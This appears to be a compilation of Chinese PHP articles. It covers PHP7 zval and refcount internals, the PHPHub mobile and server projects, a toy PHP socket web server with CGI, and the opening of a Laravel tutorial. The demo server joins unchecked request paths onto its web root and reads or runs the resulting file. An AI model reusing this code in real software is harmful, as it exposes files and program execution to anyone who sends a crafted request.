#define IS_DOUBLE   2      /* Uses dval */
#define IS_BOOL     3      /* Uses lval with values 0 and 1 */
#define IS_ARRAY    4      /* Uses ht */
#define IS_OBJECT   5      /* Uses obj */
#define IS_STRING   6      /* Uses str */
#define IS_RESOURCE 7      /* Uses lval, which is the resource ID */

/* Special types used for late-binding of constants */
#define IS_CONSTANT 8
#define IS_CONSTANT_AST 9

PHP5 中的引用计数

在PHP5中，zval 的内存是单独从堆（heap）中分配的（有少数例外情况），PHP 需要知道哪些 zval 是正在使用的，哪些是需要释放的。所以这就需要用到引用计数：zval 中 refcount__gc 的值用于保存 zval 本身被引用的次数，比如 $a = $b = 42 语句中，42 被两个变量引用，所以它的引用计数就是 2。如果引用计数变成 0，就意味着这个变量已经没有用了，内存也就可以释放了。

注意这里提及到的引用计数指的不是 PHP 代码中的引用（使用 &），而是变量的使用次数。后面两者需要同时出现时会使用『PHP 引用』和『引用』来区分两个概念，这里先忽略掉 PHP 的部分。

一个和引用计数紧密相关的概念是『写时复制』：对于多个引用来说，zaval 只有在没有变化的情况下才是共享的，一旦其中一个引用改变 zval 的值，就需要复制（"separated"）一份 zval，然后修改复制后的 zval。

下面是一个关于『写时复制』和 zval 的销毁的例子：

<?php
$a = 42;   // $a         -> zval_1(type=IS_LONG, value=42, refcount=1)
$b = $a;   // $a, $b     -> zval_1(type=IS_LONG, value=42, refcount=2)
$c = $b;   // $a, $b, $c -> zval_1(type=IS_LONG, value=42, refcount=3)

// 下面几行是关于 zval 分离的
$a += 1;   // $b, $c -> zval_1(type=IS_LONG, value=42, refcount=2)
           // $a     -> zval_2(type=IS_LONG, value=43, refcount=1)

unset($b); // $c -> zval_1(type=IS_LONG, value=42, refcount=1)
           // $a -> zval_2(type=IS_LONG, value=43, refcount=1)

unset($c); // zval_1 is destroyed, because refcount=0
           // $a -> zval_2(type=IS_LONG, value=43, refcount=1)

引用计数有个致命的问题：无法检查并释放循环引用（使用的内存）。为了解决这问题，PHP 使用了循环回收的方法。当一个 zval 的计数减一时，就有可能属于循环的一部分，这时将 zval 写入到『根缓冲区』中。当缓冲区满时，潜在的循环会被打上标记并进行回收。

因为要支持循环回收，实际使用的 zval 的结构实际上如下：

typedef struct _zval_gc_info {
    zval z;
    union {
        gc_root_buffer       *buffered;
        struct _zval_gc_info *next;
    } u;
} zval_gc_info;

zval_gc_info 结构体中嵌入了一个正常的 zval 结构，同时也增加了两个指针参数，但是共属于同一个联合体 u，所以实际使用中只有一个指针是有用的。buffered 指针用于存储 zval 在根缓冲区的引用地址，所以如果在循环回收执行之前 zval 已经被销毁了，这个字段就可能被移除了。next 在回收销毁值的时候使用，这里不会深入。

修改动机

下面说说关于内存使用上的情况，这里说的都是指在 64 位的系统上。首先，由于 str 和 obj 占用的大小一样， zvalue_value 这个联合体占用 16 个字节（bytes）的内存。整个 zval 结构体占用的内存是 24 个字节（考虑到内存对齐），zval_gc_info 的大小是 32 个字节。综上，在堆（相对于栈）分配给 zval 的内存需要额外的 16 个字节，所以每个 zval 在不同的地方一共需要用到 48 个字节（要理解上面的计算方式需要注意每个指针在 64 位的系统上也需要占用 8 个字节）。

在这点上不管从什么方面去考虑都可以认为 zval 的这种设计效率是很低的。比如 zval 在存储整型的时候本身只需要 8 个字节，即使考虑到需要存一些附加信息以及内存对齐，额外 8 个字节应该也是足够的。

在存储整型时本来确实需要 16 个字节，但是实际上还有 16 个字节用于引用计数、16 个字节用于循环回收。所以说 zval 的内存分配和释放都是消耗很大的操作，我们有必要对其进行优化。

从这个角度思考：一个整型数据真的需要存储引用计数、循环回收的信息并且单独在堆上分配内存吗？答案是当然不，这种处理方式一点都不好。

这里总结一下 PHP5 中 zval 实现方式存在的主要问题：


	zval 总是单独从堆中分配内存；


	zval 总是存储引用计数和循环回收的信息，即使是整型这种可能并不需要此类信息的数据；


	在使用对象或者资源时，直接引用会导致两次计数（原因会在下一部分讲）；


	某些间接访问需要一个更好的处理方式。比如现在访问存储在变量中的对象间接使用了四个指针（指针链的长度为四）。这个问题也放到下一部分讨论；


	直接计数也就意味着数值只能在 zval 之间共享。如果想在 zval 和 hashtable key 之间共享一个字符串就不行（除非 hashtable key 也是 zval）。




PHP7 中的 zval

在 PHP7 中 zval 有了新的实现方式。最基础的变化就是 zval 需要的内存不再是单独从堆上分配，不再自己存储引用计数。复杂数据类型（比如字符串、数组和对象）的引用计数由其自身来存储。这种实现方式有以下好处：


	简单数据类型不需要单独分配内存，也不需要计数；


	不会再有两次计数的情况。在对象中，只有对象自身存储的计数是有效的；


	由于现在计数由数值自身存储，所以也就可以和非 zval 结构的数据共享，比如 zval 和 hashtable key 之间；


	间接访问需要的指针数减少了。




我们看看现在 zval 结构体的定义（现在在 zend_types.h 文件中）：

struct _zval_struct {
    zend_value        value;            /* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,            /* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)        /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     var_flags;
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
    } u2;
};

结构体的第一个元素没太大变化，仍然是一个 value 联合体。第二个成员是由一个表示类型信息的整型和一个包含四个字符变量的结构体组成的联合体（可以忽略 ZEND_ENDIAN_LOHI_4 宏，它只是用来解决跨平台大小端问题的）。这个子结构中比较重要的部分是 type（和以前类似）和 type_flags，这个接下来会解释。

上面这个地方也有一点小问题：value 本来应该占 8 个字节，但是由于内存对齐，哪怕只增加一个字节，实际上也是占用 16 个字节（使用一个字节就意味着需要额外的 8 个字节）。但是显然我们并不需要 8 个字节来存储一个 type 字段，所以我们在 u1 的后面增加了了一个名为 u2 的联合体。默认情况下是用不到的，需要使用的时候可以用来存储 4 个字节的数据。这个联合体可以满足不同场景下的需求。

PHP7 中 value 的结构定义如下：

typedef union _zend_value {
    zend_long         lval;                /* long value */
    double            dval;                /* double value */
    zend_refcounted  *counted;
    zend_string      *str;
    zend_array       *arr;
    zend_object      *obj;
    zend_resource    *res;
    zend_reference   *ref;
    zend_ast_ref     *ast;
    zval             *zv;
    void             *ptr;
    zend_class_entry *ce;
    zend_function    *func;
    struct {
        uint32_t w1;
        uint32_t w2;
    } ww;
} zend_value;

首先需要注意的是现在 value 联合体需要的内存是 8 个字节而不是 16。它只会直接存储整型（lval）或者浮点型（dval）数据，其他情况下都是指针（上面提到过，指针占用 8 个字节，最下面的结构体由两个 4 字节的无符号整型组成）。上面所有的指针类型（除了特殊标记的）都有一个同样的头（zend_refcounted）用来存储引用计数：

typedef struct _zend_refcounted_h {
    uint32_t         refcount;            /* reference counter 32-bit */
    union {
        struct {
            ZEND_ENDIAN_LOHI_3(
                zend_uchar    type,
                zend_uchar    flags,    /* used for strings & objects */
                uint16_t      gc_info)  /* keeps GC root number (or 0) and color */
        } v;
        uint32_t type_info;
    } u;
} zend_refcounted_h;

现在，这个结构体肯定会包含一个存储引用计数的字段。除此之外还有 type、flags 和 gc_info。type 存储的和 zval 中的 type 相同的内容，这样 GC 在不存储 zval 的情况下单独使用引用计数。flags 在不同的数据类型中有不同的用途，这个放到下一部分讲。

gc_info 和 PHP5 中的 buffered 作用相同，不过不再是位于根缓冲区的指针，而是一个索引数字。因为以前根缓冲区的大小是固定的（10000 个元素），所以使用一个 16 位（2 字节）的数字代替 64 位（8 字节）的指针足够了。gc_info 中同样包含一个『颜色』位用于回收时标记结点。

zval 内存管理

上文提到过 zval 需要的内存不再单独从堆上分配。但是显然总要有地方来存储它，所以会存在哪里呢？实际上大多时候它还是位于堆中（所以前文中提到的地方重点不是堆，而是单独分配），只不过是嵌入到其他的数据结构中的，比如 hashtable 和 bucket 现在就会直接有一个 zval 字段而不是指针。所以函数表编译变量和对象属性在存储时会是一个 zval 数组并得到一整块内存而不是散落在各处的 zval 指针。之前的 zval * 现在都变成了 zval。

之前当 zval 在一个新的地方使用时会复制一份 zval * 并增加一次引用计数。现在就直接复制 zval 的值（忽略 u2），某些情况下可能会增加其结构指针指向的引用计数（如果在进行计数）。

那么 PHP 怎么知道 zval 是否正在计数呢？不是所有的数据类型都能知道，因为有些类型（比如字符串或数组）并不是总需要进行引用计数。所以 type_info 字段就是用来记录 zval 是否在进行计数的，这个字段的值有以下几种情况：

#define IS_TYPE_CONSTANT            (1<<0)   /* special */
#define IS_TYPE_IMMUTABLE           (1<<1)   /* special */
#define IS_TYPE_REFCOUNTED          (1<<2)
#define IS_TYPE_COLLECTABLE         (1<<3)
#define IS_TYPE_COPYABLE            (1<<4)
#define IS_TYPE_SYMBOLTABLE         (1<<5)   /* special */

注：在 7.0.0 的正式版本中，上面这一段宏定义的注释这几个宏是供 zval.u1.v.type_flags 使用的。这应该是注释的错误，因为这个上述字段是 zend_uchar 类型。

type_info 的三个主要的属性就是『可计数』（refcounted）、『可回收』（collectable）和『可复制』（copyable）。计数的问题上面已经提过了。『可回收』用于标记 zval 是否参与循环，不如字符串通常是可计数的，但是你却没办法给字符串制造一个循环引用的情况。

是否可复制用于表示在复制时是否需要在复制时制造（原文用的 "duplication" 来表述，用中文表达出来可能不是很好理解）一份一模一样的实体。"duplication" 属于深度复制，比如在复制数组时，不仅仅是简单增加数组的引用计数，而是制造一份全新值一样的数组。但是某些类型（比如对象和资源）即使 "duplication" 也只能是增加引用计数，这种就属于不可复制的类型。这也和对象和资源现有的语义匹配（现有，PHP7 也是这样，不单是 PHP5）。

下面的表格上标明了不同的类型会使用哪些标记（x 标记的都是有的特性）。『简单类型』（simple types）指的是整型或布尔类型这些不使用指针指向一个结构体的类型。下表中也有『不可变』（immutable）的标记，它用来标记不可变数组的，这个在下一部分再详述。

interned string（保留字符）在这之前没有提过，其实就是函数名、变量名等无需计数、不可重复的字符串。

                | refcounted | collectable | copyable | immutable
----------------+------------+-------------+----------+----------
simple types    |            |             |          |
string          |      x     |             |     x    |
interned string |            |             |          |
array           |      x     |      x      |     x    |
immutable array |            |             |          |     x
object          |      x     |      x      |          |
resource        |      x     |             |          |
reference       |      x     |             |          |

要理解这一点，我们可以来看几个例子，这样可以更好的认识 zval 内存管理是怎么工作的。

下面是整数行为模式，在上文中 PHP5 的例子的基础上进行了一些简化 ：

<?php
$a = 42;   // $a = zval_1(type=IS_LONG, value=42)

$b = $a;   // $a = zval_1(type=IS_LONG, value=42)
           // $b = zval_2(type=IS_LONG, value=42)

$a += 1;   // $a = zval_1(type=IS_LONG, value=43)
           // $b = zval_2(type=IS_LONG, value=42)

unset($a); // $a = zval_1(type=IS_UNDEF)
           // $b = zval_2(type=IS_LONG, value=42)

这个过程其实挺简单的。现在整数不再是共享的，变量直接就会分离成两个单独的 zval，由于现在 zval 是内嵌的所以也不需要单独分配内存，所以这里的注释中使用 = 来表示的而不是指针符号 ->，unset 时变量会被标记为 IS_UNDEF。下面看一下更复杂的情况：

<?php
$a = [];   // $a = zval_1(type=IS_ARRAY) -> zend_array_1(refcount=1, value=[])

$b = $a;   // $a = zval_1(type=IS_ARRAY) -> zend_array_1(refcount=2, value=[])
           // $b = zval_2(type=IS_ARRAY) ---^

// zval 分离在这里进行
$a[] = 1   // $a = zval_1(type=IS_ARRAY) -> zend_array_2(refcount=1, value=[1])
           // $b = zval_2(type=IS_ARRAY) -> zend_array_1(refcount=1, value=[])

unset($a); // $a = zval_1(type=IS_UNDEF),   zend_array_2 被销毁
           // $b = zval_2(type=IS_ARRAY) -> zend_array_1(refcount=1, value=[])

这种情况下每个变量变量有一个单独的 zval，但是是指向同一个（有引用计数） zend_array 的结构体。修改其中一个数组的值时才会进行复制。这点和 PHP5 的情况类似。

类型（Types）

我们大概看一下 PHP7 支持哪些类型（zval 使用的类型标记）：

/* regular data types */
#define IS_UNDEF                    0
#define IS_NULL                     1
#define IS_FALSE                    2
#define IS_TRUE                     3
#define IS_LONG                     4
#define IS_DOUBLE                   5
#define IS_STRING                   6
#define IS_ARRAY                    7
#define IS_OBJECT                   8
#define IS_RESOURCE                 9
#define IS_REFERENCE                10

/* constant expressions */
#define IS_CONSTANT                 11
#define IS_CONSTANT_AST             12

/* internal types */
#define IS_INDIRECT                 15
#define IS_PTR                      17

这个列表和 PHP5 使用的类似，不过增加了几项：


	IS_UNDEF 用来标记之前为 NULL 的 zval 指针（和 IS_NULL 并不冲突）。比如在上面的例子中使用 unset 注销变量；


	IS_BOOL 现在分割成了 IS_FALSE 和 IS_TRUE 两项。现在布尔类型的标记是直接记录到 type 中，这么做可以优化类型检查。不过这个变化对用户是透明的，还是只有一个『布尔』类型的数据（PHP 脚本中）。


	PHP 引用不再使用 is_ref 来标记，而是使用 IS_REFERENCE 类型。这个也要放到下一部分讲；


	IS_INDIRECT  和  IS_PTR 是特殊的内部标记。




实际上上面的列表中应该还存在两个 fake types，这里忽略了。

IS_LONG 类型表示的是一个 zend_long 的值，而不是原生的 C 语言的 long 类型。原因是 Windows 的 64 位系统（LLP64）上的 long 类型只有 32 位的位深度。所以 PHP5 在 Windows 上只能使用 32 位的数字。PHP7 允许你在 64 位的操作系统上使用 64 位的数字，即使是在 Windows 上面也可以。

zend_refcounted 的内容会在下一部分讲。下面看看 PHP 引用的实现。

引用

PHP7 使用了和 PHP5 中完全不同的方法来处理 PHP & 符号引用的问题（这个改动也是 PHP7 开发过程中大量 bug 的根源）。我们先从 PHP5 中 PHP 引用的实现方式说起。

通常情况下， 写时复制原则意味着当你修改一个 zval 之前需要对其进行分离来保证始终修改的只是某一个 PHP 变量的值。这就是传值调用的含义。

但是使用 PHP 引用时这条规则就不适用了。如果一个 PHP 变量是 PHP 引用，就意味着你想要在将多个 PHP 变量指向同一个值。PHP5 中的 is_ref 标记就是用来注明一个 PHP 变量是不是 PHP 引用，在修改时需不需要进行分离的。比如：

<?php
$a = [];  // $a     -> zval_1(type=IS_ARRAY, refcount=1, is_ref=0) -> HashTable_1(value=[])
$b =& $a; // $a, $b -> zval_1(type=IS_ARRAY, refcount=2, is_ref=1) -> HashTable_1(value=[])

$b[] = 1; // $a = $b = zval_1(type=IS_ARRAY, refcount=2, is_ref=1) -> HashTable_1(value=[1])
          // 因为 is_ref 的值是 1, 所以 PHP 不会对 zval 进行分离

但是这个设计的一个很大的问题在于它无法在一个 PHP 引用变量和 PHP 非引用变量之间共享同一个值。比如下面这种情况：

<?php
$a = [];  // $a         -> zval_1(type=IS_ARRAY, refcount=1, is_ref=0) -> HashTable_1(value=[])
$b = $a;  // $a, $b     -> zval_1(type=IS_ARRAY, refcount=2, is_ref=0) -> HashTable_1(value=[])
$c = $b   // $a, $b, $c -> zval_1(type=IS_ARRAY, refcount=3, is_ref=0) -> HashTable_1(value=[])

$d =& $c; // $a, $b -> zval_1(type=IS_ARRAY, refcount=2, is_ref=0) -> HashTable_1(value=[])
          // $c, $d -> zval_1(type=IS_ARRAY, refcount=2, is_ref=1) -> HashTable_2(value=[])
          // $d 是 $c 的引用, 但却不是 $a 的 $b, 所以这里 zval 还是需要进行复制
          // 这样我们就有了两个 zval, 一个 is_ref 的值是 0, 一个 is_ref 的值是 1.

$d[] = 1; // $a, $b -> zval_1(type=IS_ARRAY, refcount=2, is_ref=0) -> HashTable_1(value=[])
          // $c, $d -> zval_1(type=IS_ARRAY, refcount=2, is_ref=1) -> HashTable_2(value=[1])
          // 因为有两个分离了的 zval, $d[] = 1 的语句就不会修改 $a 和 $b 的值.

这种行为方式也导致在 PHP 中使用引用比普通的值要慢。比如下面这个例子：

<?php
$array = range(0, 1000000);
$ref =& $array;
var_dump(count($array)); // <-- 这里会进行分离

因为 count() 只接受传值调用，但是 $array 是一个 PHP 引用，所以 count() 在执行之前实际上会有一个对数组进行完整的复制的过程。如果 $array 不是引用，这种情况就不会发生了。

现在我们来看看 PHP7 中 PHP 引用的实现。因为 zval 不再单独分配内存，也就没办法再使用和 PHP5 中相同的实现了。所以增加了一个 IS_REFERENCE 类型，并且专门使用 zend_reference 来存储引用值：

struct _zend_reference {
    zend_refcounted   gc;
    zval              val;
};

本质上 zend_reference 只是增加了引用计数的 zval。所有引用变量都会存储一个 zval 指针并且被标记为 IS_REFERENCE。val 和其他的 zval 的行为一样，尤其是它也可以在共享其所存储的复杂变量的指针，比如数组可以在引用变量和值变量之间共享。

我们还是看例子，这次是 PHP7 中的语义。为了简洁明了这里不再单独写出 zval，只展示它们指向的结构体：

<?php
$a = [];  // $a                                     -> zend_array_1(refcount=1, value=[])
$b =& $a; // $a, $b -> zend_reference_1(refcount=2) -> zend_array_1(refcount=1, value=[])

$b[] = 1; // $a, $b -> zend_reference_1(refcount=2) -> zend_array_1(refcount=1, value=[1])

上面的例子中进行引用传递时会创建一个 zend_reference，注意它的引用计数是 2（因为有两个变量在使用这个 PHP 引用）。但是值本身的引用计数是 1（因为 zend_reference 只是有一个指针指向它）。下面看看引用和非引用混合的情况：

<?php
$a = [];  // $a         -> zend_array_1(refcount=1, value=[])
$b = $a;  // $a, $b,    -> zend_array_1(refcount=2, value=[])
$c = $b   // $a, $b, $c -> zend_array_1(refcount=3, value=[])

$d =& $c; // $a, $b                                 -> zend_array_1(refcount=3, value=[])
          // $c, $d -> zend_reference_1(refcount=2) ---^
          // 注意所有变量共享同一个 zend_array, 即使有的是 PHP 引用有的不是

$d[] = 1; // $a, $b                                 -> zend_array_1(refcount=2, value=[])
          // $c, $d -> zend_reference_1(refcount=2) -> zend_array_2(refcount=1, value=[1])
          // 只有在这时进行赋值的时候才会对 zend_array 进行赋值

这里和 PHP5 最大的不同就是所有的变量都可以共享同一个数组，即使有的是 PHP 引用有的不是。只有当其中某一部分被修改的时候才会对数组进行分离。这也意味着使用 count() 时即使给其传递一个很大的引用数组也是安全的，不会再进行复制。不过引用仍然会比普通的数值慢，因为存在需要为 zend_reference 结构体分配内存（间接）并且引擎本身处理这一块儿也不快的的原因。

结语

总结一下 PHP7 中最重要的改变就是 zval 不再单独从堆上分配内存并且不自己存储引用计数。需要使用 zval 指针的复杂类型（比如字符串、数组和对象）会自己存储引用计数。这样就可以有更少的内存分配操作、更少的间接指针使用以及更少的内存分配。

文章的第二部分我们会讨论复杂类型的问题。

私博地址：http://0x1.im
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说明

趁着 团队寻找新项目 的时间空隙, 我们团队 作为练手, 为 PHPHub 做了 iOS 和 Android 客户端, 并开源, 供大家互相学习参考, 欢迎各种提 issue 和 pr ;-)

PHPHub related projects


	PHPHub-iOS by @Aufree


	PHPHub-Server by @NauxLiu


	PHPHub-Android by @Kelvin and @Xiaoxiaoyu


	PHPHub-UI by @Summer and @Aufree


	PHPHub-Web by @Summer




iOS

PHPHub for iOS 是 PHPHub 的官方 iOS 客户端, 完美适配 iPhone 和 iPad, 兼容 iOS 8, 使用了最新的 PHPHub API, 支持 APNS, 全屏广告, 扫描登录等功能, 集成了 Google Analytics, Crashlytics , JPush, UMeng 等众多第三方服务.

iPhone 预览图



iPad 预览图



中文文档: http://aufree.github.io/phphub-ios/ 
GitHub 地址: https://github.com/Aufree/phphub-ios

Android

PHPHub for Android 为 PHPHub Android 客户端, 项目采用 MVP 模式架构, RxJava 处理 API 请求返回数据, 实现了二维码扫描登录, 消息提醒, 选项卡切换等功能 



GitHub 地址: https://github.com/CycloneAxe/phphub-android

Server

PHPHub for Server 是使用 Laravel 5.1 开发的一套 PHPHub 社区的 API 接口, 遵循 Symfony 代码规范, 使用 Homestead 环境作为开发环境 

GitHub 地址: https://github.com/NauxLiu/phphub-server

Web

PHPHub 是一个用 Laravel 写的 PHP & Laravel 开发者社区, 该社区自去年 8 月份上线以来便吸引了众多 Laravel 开发者到上面参与技术讨论, 组织翻译了包括 php-the-right-way, Lumen, Laravel 等文档, 同时成为多个 Composer 安装包的首发地 



官网: https://phphub.org/ 
GitHub: https://github.com/summerblue/phphub

UI

PHPHub UI 是 PHPHub iOS 和 Android 应用的设计稿, 设计稿包括界面, Banner, 应用空视图, Apple Reviews 设计图等 





GitHub 地址: https://github.com/phphub/phphub-ui

应用下载地址


Android 下载链接: http://fir.im/phphub 

iOS 下载链接: https://itunes.apple.com/us/app/phphub-ji-ji-xiang-shang-php/id1052966564
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本文所实现的服务器仅仅是演示和理解原理所用，力求简单易懂。有兴趣的朋友可以继续深入改造


要是现实一个 web 服务器，那么就需要大概了解 web 服务器的运行原理。先从静态的文本服务器开始，以访问 web 服务器的1.html为例


1.客户端通过发送一个 http 请求到服务器，如果服务器监听的端口号是9002，那么在本机自身测试访问的地址就是http://localhost:9002/1.html。


2.服务器监听着9002端口，那么在收到请求了请求之后，就能从 http head 头中获取到请求里需要访问的 uri 资源在web 目录中的位置。


3.服务器读取需要访问的资源文件，然后填充到 http 的实体中返回给客户端。


示意图如下：



php<?php
class web_config {
    // 监听的端口号
    const PORT = 9003;
    // 项目根目录
    const WEB_ROOT = "/Users/zhoumengkang/Documents/html";
}


class server {
    private $ip;
    private $port;
    public function __construct($ip, $port) {
        $this->ip = $ip;
        $this->port = $port;
        $this->await();
    }
    private function await() {
        $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if ($sock < 0) {
            echo "Error:" . socket_strerror(socket_last_error()) . "\n";
        }
        $ret = socket_bind($sock, $this->ip, $this->port);
        if (!$ret) {
            echo "BIND FAILED:" . socket_strerror(socket_last_error()) . "\n";
            exit;
        }
        echo "OK\n";
        $ret = socket_listen($sock);
        if ($ret < 0) {
            echo "LISTEN FAILED:" . socket_strerror(socket_last_error()) . "\n";
        }
        do {
            $new_sock = null;
            try {
                $new_sock = socket_accept($sock);
            } catch (Exception $e) {
                echo $e->getMessage();
                echo "ACCEPT FAILED:" . socket_strerror(socket_last_error()) . "\n";
            }
            try {
                $request_string = socket_read($new_sock, 1024);
                $response = $this->output($request_string);
                socket_write($new_sock, $response);
                socket_close($new_sock);
            } catch (Exception $e) {
                echo $e->getMessage();
                echo "READ FAILED:" . socket_strerror(socket_last_error()) . "\n";
            }
        } while (TRUE);
    }
    /**
     * @param $request_string
     * @return string
     */
    private function output($request_string){
        // 静态 GET /1.html HTTP/1.1 ...
        $request_array = explode(" ",$request_string);
        if(count($request_array) < 2){
            return $this->not_found();
        }
        $uri = $request_array[1];
        $filename = web_config::WEB_ROOT . $uri;
        echo "request:".$filename."\n";
        // 静态文件的处理
        if (file_exists($filename)) {
            return $this->add_header(file_get_contents($filename));
        } else {
            return $this->not_found();
        }
    }
    /**
     * 404 返回
     * @return string
     */
    private function not_found(){
        $content = "

<h1>File Not Found </h1>

";
        return "HTTP/1.1 404 File Not Found\r\nContent-Type: text/html\r\nContent-Length: ".strlen($content)."\r\n\r\n".$content;
    }
    /**
     * 加上头信息
     * @param $string
     * @return string
     */
    private function add_header($string){
        return "HTTP/1.1 200 OK\r\nContent-Length: ".strlen($string)."\r\nServer: mengkang\r\n\r\n".$string;
    }
}
$server = new server("127.0.0.1", web_config::PORT);



代码已经上传 github https://github.com/zhoumengkang/php/tree/master/php-webserver/static


如上代码所述，只要在终端执行该文件，那么一个静态的 web 服务器就启动啦。


下图为我访问我 web 目录下的1.jpg文件的截图





简单的静态 web 服务器已经完成了，下面的问题就是怎么让其支持动态内容的输出了。是不是只需要在 web 服务器内部执行完某个程序之后，把得到的结果返回给客户端就行呢？但是这样 web 服务器的代码就和业务代码耦合在一起了，怎么解决一个 web 服务器，可以运用在各个业务场景下呢？


CGI 的出现解决了这一问题。那么 CGI 是什么呢？下面这段话复制的：



  CGI是外部应用程序（CGI程序）与Web服务器之间的接口标准，是在CGI程序和Web服务器之间传递信息的规程。CGI规范允许Web服务器执行外部程序，并将它们的输出发送给Web浏览器，CGI将Web的一组简单的静态超媒体文档变成一个完整的新的交互式媒体。




好晕，举个具体的例子，比如我们在使用的 PHP 的全局变量$_SERVER['QUERY_STRING']就是 Web 服务器通过 CGI 协议之上，传递过来的。例如在 Nginx 中，也许你记得这样的 fastcgi 配置


fastcgi_param  QUERY_STRING       $query_string;



没错 nginx 把自己的全局变量$query_string传递给了 fastcgi_param 的环境变量中。


下面我们也以 CGI 的QUERY_STRING作为桥梁，将客户端请求的 uri 中的信息传递到 cgi 程序中去。通过putenv的方式把QUERY_STRING存入该请求的环境变量中。


我们约定 Web 服务器中访问的资源是.cgi后缀则表示是动态访问，这一点有点儿类似于 nginx 里配置 location 来寻找 php 脚本程序一样。都是一种检查是否应该请求 cgi 程序的规则。为了和 Web 服务器区别开来，我用 C 写了一个查询用户信息的 cgi 程序，根据用户 id 查询用户资料。


大致的访问逻辑如下图





演示代码地址：https://github.com/zhoumengkang/php/tree/master/php-webserver/dynamic


如果要运行该 demo 需要做如下操作



  1.修改config.php里的项目根目录WEB_ROOT

  
  2.编译cgi-demo\user.c，编译命令gcc -o user.cgi user.c，然后将user.cgi文件放入你配置的项目根目录下面

  
  3.在终端执行php start.php ,这样该 web 服务器就启动了

  
  4.通过 http://localhost:9003/user.cgi?id=1 就可以访问看到如下效果了







其实只是在静态服务器的基础上做了一些 cgi 的判断是请求的转发处理，把github 上的三个文件的代码合并到一个文件里方便大家观看


php<?php
class web_config {

    // 监听的端口号
    const PORT = 9003;

    // 项目根目录
    const WEB_ROOT = "/Users/zhoumengkang/Documents/html";

    // 系统支持的 cgi 程序的文件扩展名
    const CGI_EXTENSION = "cgi";

}

class server {
    private $ip;
    private $port;
    public function __construct($ip, $port) {
        $this->ip = $ip;
        $this->port = $port;
        $this->await();
    }

    private function await() {
        $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if ($sock < 0) {
            echo "Error:" . socket_strerror(socket_last_error()) . "\n";
        }

        $ret = socket_bind($sock, $this->ip, $this->port);
        if (!$ret) {
            echo "BIND FAILED:" . socket_strerror(socket_last_error()) . "\n";
            exit;
        }
        echo "OK\n";

        $ret = socket_listen($sock);
        if ($ret < 0) {
            echo "LISTEN FAILED:" . socket_strerror(socket_last_error()) . "\n";
        }

        do {
            $new_sock = null;
            try {
                $new_sock = socket_accept($sock);
            } catch (Exception $e) {
                echo $e->getMessage();
                echo "ACCEPT FAILED:" . socket_strerror(socket_last_error()) . "\n";
            }
            try {
                $request_string = socket_read($new_sock, 1024);
                $response = $this->output($request_string);
                socket_write($new_sock, $response);
                socket_close($new_sock);
            } catch (Exception $e) {
                echo $e->getMessage();
                echo "READ FAILED:" . socket_strerror(socket_last_error()) . "\n";
            }
        } while (TRUE);
    }
    /**
     * @param $request_string
     * @return string
     */
    private function output($request_string){
        // 静态 GET /1.html HTTP/1.1 ...
        // 动态 GET /user.cgi?id=1 HTTP/1.1 ...
        $request_array = explode(" ",$request_string);
        if(count($request_array) < 2){
            return "";
        }
        $uri = $request_array[1];
        echo "request:".web_config::WEB_ROOT . $uri."\n";
        $query_string = null;
        if ($uri == "/favicon.ico") {
            return "";
        }
        if (strpos($uri,"?")) {
            $uriArr = explode("?", $uri);
            $uri = $uriArr[0];
            $query_string = isset($uriArr[1]) ? $uriArr[1] : null;
        }
        $filename = web_config::WEB_ROOT . $uri;
        if ($this->cgi_check($uri)) {

            $this->set_env($query_string);
            $handle = popen(web_config::WEB_ROOT.$uri, "r");
            $read = stream_get_contents($handle);
            pclose($handle);
            return $this->add_header($read);
        }
        // 静态文件的处理
        if (file_exists($filename)) {
            return $this->add_header(file_get_contents($filename));
        } else {
            return $this->not_found();
        }
    }
    /**
     * 设置环境变量 给 cgi 程序使用
     * @param $query_string
     * @return bool
     */
    private function set_env($query_string){
        if($query_string == null){
            return false;
        }
        if (strpos($query_string, "=")) {
            putenv("QUERY_STRING=".$query_string);
        }
    }
    /**
     * 判断请求的 uri 是否是合法的 cgi 资源
     * @param $uri
     * @return bool
     */
    private function cgi_check($uri){
        $info = pathinfo($uri);
        $extension = isset($info["extension"]) ? $info["extension"] : null;
        if( $extension && in_array($extension,explode(",",web_config::CGI_EXTENSION))){
            return true;
        }
        return false;
    }
    /**
     * 404 返回
     * @return string
     */
    private function not_found(){
        $content = "<h1>File Not Found </h1>";
        return "HTTP/1.1 404 File Not Found\r\nContent-Type: text/html\r\nContent-Length: ".strlen($content)."\r\n\r\n".$content;
    }
    /**
     * 加上头信息
     * @param $string
     * @return string
     */
    private function add_header($string){
        return "HTTP/1.1 200 OK\r\nContent-Length: ".strlen($string)."\r\nServer: mengkang\r\n\r\n".$string;
    }
}

$server = new server("127.0.0.1", web_config::PORT);



 Laravel 5 系列入门教程（一）【最适合中国人的 Laravel 教程】

作者：JohnLui

来源： Laravel 5 系列入门教程（一）【最适合中国人的 Laravel 教程】



                    
原文发表在我的个人网站：Laravel 5 系列入门教程（一）【最适合中国人的 Laravel 教程】



  本教程示例代码见：https://github.com/johnlui/Learn-Laravel-5


  
  大家在任何地方卡住，最快捷的解决方式就是去看我的示例代码。




Laravel 5 中文文档：



	http://laravel-china.org/docs/5.0

	http://www.golaravel.com/laravel/docs/5.0/





默认条件


本文默认你已经有配置完善的 PHP + MySQL 运行环境，懂得 PHP 网站运行的基础知识。跟随本教程走完一遍，你将会得到一个基础的包含登录的简单 blog 系统，并将学会如何使用一些强大的 Laravel 插件和 composer 包（Laravel 插件也是 composer 包）。


软件版本：PHP 5.4+，MySQL 5.1+


本文不推荐完全不懂 PHP 与 MVC 编程的人学习。本文不是 “一步一步跟我做” 教程。本文需要你付出一定的心智去解决一些或大或小的隐藏任务，以达到真正理解 Laravel 运行逻辑的目的。


1. 安装


许多人被拦在了学习Laravel的第一步，安装。并不是因为安装教程有多复杂，而是因为【众所周知的原因】。在此我推荐一个composer全量中国镜像：http://pkg.phpcomposer.com/ 。推荐以 “修改 composer 的配置文件” 方式配置。


